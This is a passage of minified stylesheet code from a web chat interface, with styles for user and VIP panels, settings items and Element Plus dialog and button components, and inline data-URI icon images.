.user-left.user-vip[data-v-fd18637b]{border:none;box-sizing:content-box;overflow:hidden}.chat-user .user-left.user-vip[data-v-fd18637b]:after{position:absolute;top:0;left:0;width:40px;height:40px;content:"";background:url(data:image/png;base64,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) center/cover no-repeat}.chat-user .set[data-v-fd18637b]{position:absolute;right:-2px;bottom:0}.chat-user .user-img[data-v-fd18637b]{display:block;width:39px;height:39px;border-radius:40px}.chat-user .user-login[data-v-fd18637b]{display:block;width:40px;height:40px;border-radius:40px;background-color:#0000001a;color:#999aaa;line-height:40px;text-align:center;cursor:pointer}.user-right[data-v-fd18637b]{display:flex;flex-direction:column;justify-content:center;flex:1;color:var(--color-text-primary);width:100%}.user-right .user-name[data-v-fd18637b]{font-weight:400;font-size:14px}.user-right .user-desc[data-v-fd18637b]{margin-top:4px;font-size:12px;color:var(--color-text-content);white-space:pre;padding-bottom:2px}.vip-status[data-v-fd18637b]{display:inline-block;width:94px;height:30px;color:#fff;text-align:center;font-size:14px;font-style:normal;font-weight:600;line-height:30px;border-radius:8px;background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%);cursor:pointer}.popper[data-v-fd18637b]{padding:8px 10px!important}.popper .user-desc[data-v-fd18637b]{margin-bottom:8px}.popper .vip-status[data-v-fd18637b]{margin-left:4px}.setting[data-v-fd18637b]{padding:6px 14px;align-items:center;background:#fafafc;cursor:pointer;color:var(--color-text-content);font-size:12px;line-height:16px;vertical-align:middle;margin-bottom:6px;border-radius:8px}.setting.setting-vip[data-v-fd18637b]{margin-top:-8px;border-radius:0 0 8px 8px}.setting.setting-bottom[data-v-fd18637b]{background:#f8f8f8}.setting .list-item[data-v-fd18637b]{padding-bottom:6px;font-size:12px}.setting .list-item[data-v-fd18637b]:last-child{padding-top:8px;padding-bottom:0;border-top:1px solid var(--color-input-border)}.setting .icon-receipt[data-v-fd18637b]{width:20px;height:20px;background:url("data:image/svg+xml,%3csvg%20width='20'%20height='20'%20viewBox='0%200%2020%2020'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3cg%20clip-path='url(%23clip0_7521_21106)'%3e%3cpath%20fill-rule='evenodd'%20clip-rule='evenodd'%20d='M8.24609%206.49077L12.2719%204.1665L13.6171%206.4966L8.24609%206.49077Z'%20stroke='%23574FF5'%20stroke-width='0.875'%20stroke-linecap='round'%20stroke-linejoin='round'/%3e%3cpath%20d='M4.16797%207.08333C4.16797%206.76116%204.42914%206.5%204.7513%206.5H15.2513C15.5735%206.5%2015.8346%206.76116%2015.8346%207.08333V15.25C15.8346%2015.5722%2015.5735%2015.8333%2015.2513%2015.8333H4.7513C4.42914%2015.8333%204.16797%2015.5722%204.16797%2015.25V7.08333Z'%20stroke='%23574FF5'%20stroke-width='0.875'%20stroke-linejoin='round'/%3e%3cpath%20d='M13.2812%2012.6252H15.8333V9.7085H13.2812C12.4356%209.7085%2011.75%2010.3614%2011.75%2011.1668C11.75%2011.9722%2012.4356%2012.6252%2013.2812%2012.6252Z'%20stroke='%23574FF5'%20stroke-width='0.875'%20stroke-linejoin='round'/%3e%3cpath%20d='M15.832%207.8125V14.8125'%20stroke='%23574FF5'%20stroke-width='0.875'%20stroke-linecap='round'/%3e%3c/g%3e%3cdefs%3e%3cclipPath%20id='clip0_7521_21106'%3e%3crect%20width='14'%20height='14'%20fill='white'%20transform='translate(3%203)'/%3e%3c/clipPath%3e%3c/defs%3e%3c/svg%3e") center/cover no-repeat}.setting .icon-question[data-v-fd18637b]{width:20px;height:20px;background:url("data:image/svg+xml,%3csvg%20width='20'%20height='20'%20viewBox='0%200%2020%2020'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3cpath%20fill-rule='evenodd'%20clip-rule='evenodd'%20d='M9.34322%204.38427C8.54328%204.49849%207.54356%204.90276%206.85751%205.38952C6.43037%205.69258%205.71882%206.43193%205.4214%206.88181C4.72997%207.9274%204.38173%209.31756%204.51544%2010.4982C4.60684%2011.3048%204.95322%2012.3743%205.35787%2013.0995C5.4355%2013.2387%205.49904%2013.3783%205.49904%2013.4098C5.49904%2013.4413%205.20462%2013.9387%204.84477%2014.5152C4.48492%2015.0916%204.17525%2015.5893%204.15657%2015.6211C4.13414%2015.6594%205.27694%2015.677%207.54223%2015.6732C10.8036%2015.6677%2010.9845%2015.6619%2011.4532%2015.5468C14.7079%2014.7474%2016.5723%2011.4594%2015.5736%208.28017C14.7461%205.64628%2012.099%203.99098%209.34322%204.38427ZM11.0617%205.26964C12.9918%205.63888%2014.5062%207.13597%2014.8961%209.06022C15.0463%209.80102%2014.9906%2010.7703%2014.7566%2011.49C14.3442%2012.7583%2013.506%2013.7229%2012.2914%2014.3269C11.3116%2014.8141%2011.0554%2014.8449%208.13135%2014.827L5.67107%2014.8119L6.10636%2014.1114L6.54165%2013.4109L6.29926%2013.0132C5.98965%2012.5049%205.72142%2011.8865%205.52499%2011.2281C5.39816%2010.803%205.36885%2010.5863%205.36452%2010.0432C5.35394%208.70058%205.77726%207.63614%206.7057%206.67095C7.44552%205.90183%208.46871%205.36593%209.45883%205.22905C9.86233%205.17322%2010.6641%205.19351%2011.0617%205.26964ZM7.5801%2010.2479V10.6838L8.0281%2010.667L8.47611%2010.6501L8.49311%2010.231L8.5101%209.81195H8.0451H7.5801V10.2479ZM9.71897%2010.2455V10.679H10.1525H10.5861V10.2455V9.81195H10.1525H9.71897V10.2455ZM11.8119%2010.231L11.8289%2010.6501L12.2769%2010.667L12.7249%2010.6838V10.2479V9.81195H12.2599H11.7949L11.8119%2010.231Z'%20fill='%23574FF5'/%3e%3c/svg%3e") center/cover no-repeat}.setting a[data-v-fd18637b]{color:var(--color-text-content)}.setting .icon-text[data-v-fd18637b]{padding-left:4px;flex:1;font-size:12px}.setting .icon-right[data-v-fd18637b]{transform:scale(1.2);color:var(--color-text-desc)}.setting .progress[data-v-fd18637b]{margin-bottom:8px;column-gap:4px}.setting .progress-bar[data-v-fd18637b]{width:100%;display:flex;position:relative;background:#6d5ffd1a;height:6px;border-radius:10px}.setting .progress-bar .percent[data-v-fd18637b]{position:absolute;top:0;left:0;height:100%;border-radius:10px;background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff)}.setting .progress-bar .percent.percent-extra[data-v-fd18637b]{background:linear-gradient(107.62deg,#ffab49 1.98%,#ffebb7 73.4%)}.setting-item[data-v-fd18637b]{display:flex;align-items:center;column-gap:2px}.setting .icon-text[data-v-fd18637b]{font-size:12px}.logout[data-v-fd18637b]{font-size:12px;color:var(--color-text-desc);display:flex;align-items:center;justify-content:center;cursor:pointer;width:280px;margin:16px auto 0}.get-vip-btn[data-v-fd18637b]{width:100%;height:36px;line-height:36px;color:#fff;background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%);font-size:16px;font-weight:600;text-align:center;border-radius:8px;cursor:pointer;margin-bottom:8px}.right-list[data-v-fd18637b]{font-size:12px;background:#fff;border-radius:8px;margin:10px 0}.right-list .top[data-v-fd18637b]{display:flex;align-items:center;padding:8px 16px;box-sizing:border-box;color:var(--color-text-primary);font-weight:600;column-gap:6px;height:40px;border-bottom:1px solid var(--color-input-border)}.right-list .top img[data-v-fd18637b]{width:18px}.right-list .top .vip-1024-img[data-v-fd18637b]{margin-left:auto;-webkit-user-drag:none;cursor:pointer}.right-list .bottom[data-v-fd18637b]{padding:8px 14px;box-sizing:border-box}.right-list .bottom .right-item[data-v-fd18637b]{display:flex;align-items:center;column-gap:8px;color:var(--color-text-content);height:32px}.right-list .bottom .right-item+.right-item[data-v-fd18637b]{margin-top:4px}.right-list .bottom .right-item span[data-v-fd18637b]{width:20px;height:20px;border-radius:50%;background:#f3f0fe;display:flex;justify-content:center;align-items:center}.right-list .bottom .right-item span svg[data-v-fd18637b]{width:12px;height:12px}.strong[data-v-fd18637b]{font-weight:500}.chat-icon-tip[data-v-fd18637b]{overflow:hidden;vertical-align:-4px;width:10px;height:10px}.el-dialog{--el-dialog-width:50%;--el-dialog-margin-top:15vh;--el-dialog-bg-color:var(--el-bg-color);--el-dialog-box-shadow:var(--el-box-shadow);--el-dialog-title-font-size:var(--el-font-size-large);--el-dialog-content-font-size:14px;--el-dialog-font-line-height:var(--el-font-line-height-primary);--el-dialog-padding-primary:20px;--el-dialog-border-radius:var(--el-border-radius-small);position:relative;margin:var(--el-dialog-margin-top,15vh) auto 50px;background:var(--el-dialog-bg-color);border-radius:var(--el-dialog-border-radius);box-shadow:var(--el-dialog-box-shadow);box-sizing:border-box;width:var(--el-dialog-width,50%)}.el-dialog:focus{outline:0!important}.el-dialog.is-align-center{margin:auto}.el-dialog.is-fullscreen{--el-dialog-width:100%;--el-dialog-margin-top:0;margin-bottom:0;height:100%;overflow:auto}.el-dialog__wrapper{position:fixed;top:0;right:0;bottom:0;left:0;overflow:auto;margin:0}.el-dialog.is-draggable .el-dialog__header{cursor:move;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-dialog__header{padding:var(--el-dialog-padding-primary);padding-bottom:10px;margin-right:16px}.el-dialog__headerbtn{position:absolute;top:6px;right:0;padding:0;width:54px;height:54px;background:0 0;border:none;outline:0;cursor:pointer;font-size:var(--el-message-close-size,16px)}.el-dialog__headerbtn .el-dialog__close{color:var(--el-color-info);font-size:inherit}.el-dialog__headerbtn:focus .el-dialog__close,.el-dialog__headerbtn:hover .el-dialog__close{color:var(--el-color-primary)}.el-dialog__title{line-height:var(--el-dialog-font-line-height);font-size:var(--el-dialog-title-font-size);color:var(--el-text-color-primary)}.el-dialog__body{padding:calc(var(--el-dialog-padding-primary) + 10px) var(--el-dialog-padding-primary);color:var(--el-text-color-regular);font-size:var(--el-dialog-content-font-size)}.el-dialog__footer{padding:var(--el-dialog-padding-primary);padding-top:10px;text-align:right;box-sizing:border-box}.el-dialog--center{text-align:center}.el-dialog--center .el-dialog__body{text-align:initial;padding:25px calc(var(--el-dialog-padding-primary) + 5px) 30px}.el-dialog--center .el-dialog__footer{text-align:inherit}.el-overlay-dialog{position:fixed;top:0;right:0;bottom:0;left:0;overflow:auto}.dialog-fade-enter-active{-webkit-animation:modal-fade-in var(--el-transition-duration);animation:modal-fade-in var(--el-transition-duration)}.dialog-fade-enter-active .el-overlay-dialog{-webkit-animation:dialog-fade-in var(--el-transition-duration);animation:dialog-fade-in var(--el-transition-duration)}.dialog-fade-leave-active{-webkit-animation:modal-fade-out var(--el-transition-duration);animation:modal-fade-out var(--el-transition-duration)}.dialog-fade-leave-active .el-overlay-dialog{-webkit-animation:dialog-fade-out var(--el-transition-duration);animation:dialog-fade-out var(--el-transition-duration)}@-webkit-keyframes dialog-fade-in{0%{transform:translate3d(0,-20px,0);opacity:0}to{transform:translateZ(0);opacity:1}}@keyframes dialog-fade-in{0%{transform:translate3d(0,-20px,0);opacity:0}to{transform:translateZ(0);opacity:1}}@-webkit-keyframes dialog-fade-out{0%{transform:translateZ(0);opacity:1}to{transform:translate3d(0,-20px,0);opacity:0}}@keyframes dialog-fade-out{0%{transform:translateZ(0);opacity:1}to{transform:translate3d(0,-20px,0);opacity:0}}@-webkit-keyframes modal-fade-in{0%{opacity:0}to{opacity:1}}@keyframes modal-fade-in{0%{opacity:0}to{opacity:1}}@-webkit-keyframes modal-fade-out{0%{opacity:1}to{opacity:0}}@keyframes modal-fade-out{0%{opacity:1}to{opacity:0}}.el-button{--el-button-font-weight:var(--el-font-weight-primary);--el-button-border-color:var(--el-border-color);--el-button-bg-color:var(--el-fill-color-blank);--el-button-text-color:var(--el-text-color-regular);--el-button-disabled-text-color:var(--el-disabled-text-color);--el-button-disabled-bg-color:var(--el-fill-color-blank);--el-button-disabled-border-color:var(--el-border-color-light);--el-button-divide-border-color:rgba(255, 255, 255, .5);--el-button-hover-text-color:var(--el-color-primary);--el-button-hover-bg-color:var(--el-color-primary-light-9);--el-button-hover-border-color:var(--el-color-primary-light-7);--el-button-active-text-color:var(--el-button-hover-text-color);--el-button-active-border-color:var(--el-color-primary);--el-button-active-bg-color:var(--el-button-hover-bg-color);--el-button-outline-color:var(--el-color-primary-light-5);--el-button-hover-link-text-color:var(--el-color-info);--el-button-active-color:var(--el-text-color-primary)}.el-button{display:inline-flex;justify-content:center;align-items:center;line-height:1;height:32px;white-space:nowrap;cursor:pointer;color:var(--el-button-text-color);text-align:center;box-sizing:border-box;outline:0;transition:.1s;font-weight:var(--el-button-font-weight);-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;-webkit-appearance:none;background-color:var(--el-button-bg-color);border:var(--el-border);border-color:var(--el-button-border-color);padding:8px 15px;font-size:var(--el-font-size-base);border-radius:var(--el-border-radius-base)}.el-button:focus,.el-button:hover{color:var(--el-button-hover-text-color);border-color:var(--el-button-hover-border-color);background-color:var(--el-button-hover-bg-color);outline:0}.el-button:active{color:var(--el-button-active-text-color);border-color:var(--el-button-active-border-color);background-color:var(--el-button-active-bg-color);outline:0}.el-button:focus-visible{outline:2px solid var(--el-button-outline-color);outline-offset:1px}.el-button>span{display:inline-flex;align-items:center}.el-button+.el-button{margin-left:12px}.el-button.is-round{padding:8px 15px}.el-button::-moz-focus-inner{border:0}.el-button [class*=el-icon]+span{margin-left:6px}.el-button [class*=el-icon] svg{vertical-align:bottom}.el-button.is-plain{--el-button-hover-text-color:var(--el-color-primary);--el-button-hover-bg-color:var(--el-fill-color-blank);--el-button-hover-border-color:var(--el-color-primary)}.el-button.is-active{color:var(--el-button-active-text-color);border-color:var(--el-button-active-border-color);background-color:var(--el-button-active-bg-color);outline:0}.el-button.is-disabled,.el-button.is-disabled:focus,.el-button.is-disabled:hover{color:var(--el-button-disabled-text-color);cursor:not-allowed;background-image:none;background-color:var(--el-button-disabled-bg-color);border-color:var(--el-button-disabled-border-color)}.el-button.is-loading{position:relative;pointer-events:none}.el-button.is-loading:before{z-index:1;pointer-events:none;content:"";position:absolute;left:-1px;top:-1px;right:-1px;bottom:-1px;border-radius:inherit;background-color:var(--el-mask-color-extra-light)}.el-button.is-round{border-radius:var(--el-border-radius-round)}.el-button.is-circle{width:32px;border-radius:50%;padding:8px}.el-button.is-text{color:var(--el-button-text-color);border:0 solid transparent;background-color:transparent}.el-button.is-text.is-disabled{color:var(--el-button-disabled-text-color);background-color:transparent!important}.el-button.is-text:not(.is-disabled):focus,.el-button.is-text:not(.is-disabled):hover{background-color:var(--el-fill-color-light)}.el-button.is-text:not(.is-disabled):focus-visible{outline:2px solid var(--el-button-outline-color);outline-offset:1px}.el-button.is-text:not(.is-disabled):active{background-color:var(--el-fill-color)}.el-button.is-text:not(.is-disabled).is-has-bg{background-color:var(--el-fill-color-light)}.el-button.is-text:not(.is-disabled).is-has-bg:focus,.el-button.is-text:not(.is-disabled).is-has-bg:hover{background-color:var(--el-fill-color)}.el-button.is-text:not(.is-disabled).is-has-bg:active{background-color:var(--el-fill-color-dark)}.el-button__text--expand{letter-spacing:.3em;margin-right:-.3em}.el-button.is-link{border-color:transparent;color:var(--el-button-text-color);background:0 0;padding:2px;height:auto}.el-button.is-link:focus,.el-button.is-link:hover{color:var(--el-button-hover-link-text-color)}.el-button.is-link.is-disabled{color:var(--el-button-disabled-text-color);background-color:transparent!important;border-color:transparent!important}.el-button.is-link:not(.is-disabled):focus,.el-button.is-link:not(.is-disabled):hover{border-color:transparent;background-color:transparent}.el-button.is-link:not(.is-disabled):active{color:var(--el-button-active-color);border-color:transparent;background-color:transparent}.el-button--text{border-color:transparent;background:0 0;color:var(--el-color-primary);padding-left:0;padding-right:0}.el-button--text.is-disabled{color:var(--el-button-disabled-text-color);background-color:transparent!important;border-color:transparent!important}.el-button--text:not(.is-disabled):focus,.el-button--text:not(.is-disabled):hover{color:var(--el-color-primary-light-3);border-color:transparent;background-color:transparent}.el-button--text:not(.is-disabled):active{color:var(--el-color-primary-dark-2);border-color:transparent;background-color:transparent}.el-button__link--expand{letter-spacing:.3em;margin-right:-.3em}.el-button--primary{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-primary);--el-button-border-color:var(--el-color-primary);--el-button-outline-color:var(--el-color-primary-light-5);--el-button-active-color:var(--el-color-primary-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-primary-light-5);--el-button-hover-bg-color:var(--el-color-primary-light-3);--el-button-hover-border-color:var(--el-color-primary-light-3);--el-button-active-bg-color:var(--el-color-primary-dark-2);--el-button-active-border-color:var(--el-color-primary-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-primary-light-5);--el-button-disabled-border-color:var(--el-color-primary-light-5)}.el-button--primary.is-link,.el-button--primary.is-plain,.el-button--primary.is-text{--el-button-text-color:var(--el-color-primary);--el-button-bg-color:var(--el-color-primary-light-9);--el-button-border-color:var(--el-color-primary-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-primary);--el-button-hover-border-color:var(--el-color-primary);--el-button-active-text-color:var(--el-color-white)}.el-button--primary.is-link.is-disabled,.el-button--primary.is-link.is-disabled:active,.el-button--primary.is-link.is-disabled:focus,.el-button--primary.is-link.is-disabled:hover,.el-button--primary.is-plain.is-disabled,.el-button--primary.is-plain.is-disabled:active,.el-button--primary.is-plain.is-disabled:focus,.el-button--primary.is-plain.is-disabled:hover,.el-button--primary.is-text.is-disabled,.el-button--primary.is-text.is-disabled:active,.el-button--primary.is-text.is-disabled:focus,.el-button--primary.is-text.is-disabled:hover{color:var(--el-color-primary-light-5);background-color:var(--el-color-primary-light-9);border-color:var(--el-color-primary-light-8)}.el-button--success{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-success);--el-button-border-color:var(--el-color-success);--el-button-outline-color:var(--el-color-success-light-5);--el-button-active-color:var(--el-color-success-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-success-light-5);--el-button-hover-bg-color:var(--el-color-success-light-3);--el-button-hover-border-color:var(--el-color-success-light-3);--el-button-active-bg-color:var(--el-color-success-dark-2);--el-button-active-border-color:var(--el-color-success-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-success-light-5);--el-button-disabled-border-color:var(--el-color-success-light-5)}.el-button--success.is-link,.el-button--success.is-plain,.el-button--success.is-text{--el-button-text-color:var(--el-color-success);--el-button-bg-color:var(--el-color-success-light-9);--el-button-border-color:var(--el-color-success-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-success);--el-button-hover-border-color:var(--el-color-success);--el-button-active-text-color:var(--el-color-white)}.el-button--success.is-link.is-disabled,.el-button--success.is-link.is-disabled:active,.el-button--success.is-link.is-disabled:focus,.el-button--success.is-link.is-disabled:hover,.el-button--success.is-plain.is-disabled,.el-button--success.is-plain.is-disabled:active,.el-button--success.is-plain.is-disabled:focus,.el-button--success.is-plain.is-disabled:hover,.el-button--success.is-text.is-disabled,.el-button--success.is-text.is-disabled:active,.el-button--success.is-text.is-disabled:focus,.el-button--success.is-text.is-disabled:hover{color:var(--el-color-success-light-5);background-color:var(--el-color-success-light-9);border-color:var(--el-color-success-light-8)}.el-button--warning{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-warning);--el-button-border-color:var(--el-color-warning);--el-button-outline-color:var(--el-color-warning-light-5);--el-button-active-color:var(--el-color-warning-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-warning-light-5);--el-button-hover-bg-color:var(--el-color-warning-light-3);--el-button-hover-border-col